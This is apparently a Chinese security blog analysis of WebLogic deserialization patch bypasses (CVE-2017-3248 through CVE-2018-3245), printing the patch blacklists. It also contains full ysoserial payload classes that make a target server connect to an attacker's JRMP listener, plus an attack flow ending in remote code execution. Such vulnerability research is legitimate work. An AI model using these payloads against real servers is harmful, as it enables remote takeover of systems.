weblogic之CVE-2017-3248，CVE-2018-2628,CVE-2018-2893，CVE-2018-3245反序列绕过度析

说一下复现CVE-2017-3248能够参考p牛的环境，p牛的环境CVE-2018-2628实际就是CVE-2017-3248，他漏洞编号这块写错了。
攻击流程就以下图，攻击者开启JRMPListener监听在1099端口，等待受害者连接，当受害者连接时，把gadgets返回给客户端：

CVE-2017-3248之后的漏洞都是利用了JRMP java远程方法协议，利用java.rmi.registry.Registry，序列化RemoteObjectInvocationHandler，并使用UnicastRef和远端创建tcp链接，获取RMI registry，最终将加载的内容利用readObject()进行解析，致使以前序列化的恶意代码执行。

具体利用的时候用ysoserial的payload，用到Proxy代理。

复现2017-3248就看p牛的github，这里主要复现下CVE-2017-3248绕过。先看一下这漏洞的补丁,通常反序列操做防护resolveProxyClass和resolveClass方法重写，进行黑名单匹配。这里也就是咱们重点看的：

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] arr$ = interfaces;
            int len$ = interfaces.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String intf = arr$[i$];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);

补丁只是在resolveProxyClass方法将java.rmi.registry.Registry加入黑名单，没有将UnicastRef加入黑名单，因此出现如下俩种绕过：一、不使用代理机制就反序列化时就不会进入resolveProxyClass方法
二、找一个java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload

先看第一种的payload,在ysoserial攻击修改以下代码把Proxy去掉，从新打jar包，利用方式和CVE-2017-3248同样，可以绕过resolveProxyClass执行命令:

在看一下这块的补丁,在resolveClass时就把UnicastRef类防住了。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

跟入checkLegacyBlacklistIfNeeded函数

跟到这里，看到若是反序列化的类是在黑名单中就抛出异常。

第二种绕过方式就是廖新喜的payload,可使用java.rmi.activation.Activator来替代java.rmi.registry.Registry

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

CVE-2018-2893的补丁将RemoteObjectInvocationHandler放入到了黑名单，而CVE-2018-2628的黑名单以下

CVE-2018-2628补丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

CVE-2018-2893的补丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};

执行的这里会被黑名单拦截。

还有一种绕过方式就是CVE-2018-2893利用WebLogic 内部类 weblogic.jms.common.StreamMessageImpl 可被序列化而且在反序列化时能够调用RMI的类，能够绕过WebLogic 的黑名单限制。
payload以下,打好的jar包在这里：

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {

        public Object streamMessageImpl(byte[] object) {
            StreamMessageImpl streamMessage = new StreamMessageImpl();
            streamMessage.setDataBuffer(object, object.length);
            return streamMessage;
        }

        public Object getObject (final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID objID = new ObjID(new Random().nextInt()); 
            TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
            UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
            RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
            Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
            return streamMessageImpl(Serializer.serialize(object));
        }


        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
            PayloadRunner.run(JRMPClient3.class, args);
        }
    }

resolveClass处理到StreamMessageImpl时，

来到CVE-2016-0638的漏洞触发点，其中859行加入了过滤代码。当执行到865行时，跟进

java.rmi.server.RemoteObjectInvocationHandler被加入黑名单

CVE-2018-2893绕过参考https://xz.aliyun.com/t/2479#toc-2主要是绕过黑名单RemoteObjectInvocationHandler类，这个CVE编号就是：

CVE-2018-3245

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最后说下怎么找到的RMIConnectionImpl_Stub，实际上就是找RemoteObject类的子类。
CTRL+H找到这三个是RemoteObject的子类

RemoteStub找他的子类，最后找到RMIConnectionImpl_Stub类了

查看一下继承关系，下面这样的操做主要查找其父类比较方便。


因此 CVE-2018-3245的补丁就是将基类RemoteObject禁掉，而不是禁用其子类
payload参考：https://github.com/pyn3rd/CVE-2018-3245
gadgets经测试用Jdk7u21可以RCE。
我测试没有打CVE-2018-3245补丁，对RMIConnectionImpl_Stub没有处理致使绕过

看下完整利用过程：
生产poc

开启JRMP服务

经过T3协议写入payload

受害服务器链接JRMP服务，攻击者将Jdk7u21的gadgets发送给受害服务器，致使RCE。

参考连接：
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/